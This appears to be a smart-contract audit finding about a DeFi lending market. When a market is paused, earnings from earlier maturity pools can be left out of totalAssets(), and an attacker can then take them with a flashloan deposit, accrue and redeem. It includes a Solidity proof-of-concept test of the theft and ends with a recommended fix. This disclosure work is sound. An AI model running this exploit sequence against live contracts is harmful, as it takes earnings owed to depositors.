Bouncy Emerald Reindeer

medium

# Market#totalAssets: unassignedEarnings from earlier maturities might have not been accrued, allowing attacker to steal the unaccrued earnings.

## Summary
Due to the fact that some unassignedEarnings may have not been accrued since the lastAccrual, `totalAssets()` adds the calculated accruedEarnings, starting from the `latestMaturity`.
The issue is that some maturity pools before the `latestMaturity` might have not been accrued(this is very likely to happen after a >4weeks pause).
The impact is that vault depositors will lose some earnings they were entitled to if they redeem their vault shares before calling a function that accrues earnings in those maturity pools.
Also, attacker can, in a single transaction, deposit a flashloan, accrue the earnings, and redeem, effectively stealing the unaccruedEarnings from those maturity pools.

## Vulnerability Detail
The amount of assets one can redeem his shares for is dependent on the totalAssets:

```solidity
function _convertToAssets(uint256 shares, Math.Rounding rounding) internal view virtual returns (uint256) {
    return shares.mulDiv(totalAssets() + 1, totalSupply() + 10 ** _decimalsOffset(), rounding);
}
```

Due to the fact that there could be some earnings from each maturity pool that has not yet been accrued since the last accrual, `totalAssets` includes the calculated accruals(backupEarnings) starting from the latest maturities.

The issue is, unassignedEarnings from earlier maturities(i.e. before latestMaturity) might have not been accrued. A pretty good example of what can cause this scenario is if a market gets paused for more than 4 months.

An attacker can flashloan deposit, accrue the earnings, and then redeem the shares, effectively stealing all of the interest that got accrued in that maturity.

Here is a PoC which can be added to Market.t.sol file:

```solidity
  function testUserFlashloanToStealAccruedFees() external {
    ERC20 asset = market.asset();
    //Alice represents all users that borrowed at a maturity
    deal(address(asset), ALICE, 1_000_000 ether);

    //Simulate flashloan or pretend as whale
    deal(address(asset), BOB, 1_000_000 ether);
    uint bobBalanceBefore = asset.balanceOf(BOB);
    //POC starts
    vm.startPrank(ALICE);
    asset.approve(address(market), 1_000_000 ether);
    uint aliceShares = market.deposit(30_000 ether, ALICE);
    market.borrowAtMaturity(FixedLib.INTERVAL, 15_000 ether, 20_000 ether, ALICE, ALICE);
    vm.stopPrank();

    vm.warp(FixedLib.INTERVAL / 2);

    //normal operations accrueEarnings before protocol gets paused for >INTERVAL period
    vm.prank(ALICE);
    market.depositAtMaturity(FixedLib.INTERVAL, 1, 1, BOB);

    //fastforward 6 weeks(+1 second). Market was probably paused during this period
    vm.warp((FixedLib.INTERVAL / 2) + 6 weeks + 1 seconds);

    //Bob should not receive any interest cause he didn't deposit before now. The only person that should receive interest is Alice cos she is the only one that deposited to floating pool
    //In a single transaction, Bob flashloan, deposit,accrueEarnings, withdraw to steal all the fees for that maturity
    vm.startPrank(BOB);
    asset.approve(address(market), 1_000_000 ether);
    //deposit flashloan of 900_000e18 base tokens
    uint bobShares = market.deposit(900_000 ether, BOB);
    //accrueEarnings by repaying dust
    market.repayAtMaturity(FixedLib.INTERVAL, 1, 1, ALICE);
    //redeem tokens
    market.redeem(bobShares, BOB, BOB);
    vm.stopPrank();

    uint bobBalanceAfter = asset.balanceOf(BOB);

    console.log("Bob balance before: ", bobBalanceBefore);
    console.log("Bob balance after: ", bobBalanceAfter);
  }

```

## Impact
After a >4 weeks market pause, attacker would be able to steal all unassignedEarnings in the maturity pool that was ongoing as at when the market got paused.

## Code Snippet
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L932-L941
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L945

## Tool used

Manual Review

## Recommendation

- pause() should take note of the current latestMaturity(s)
- unpause() should accrueEarnings in the maturity pool noted by pause()
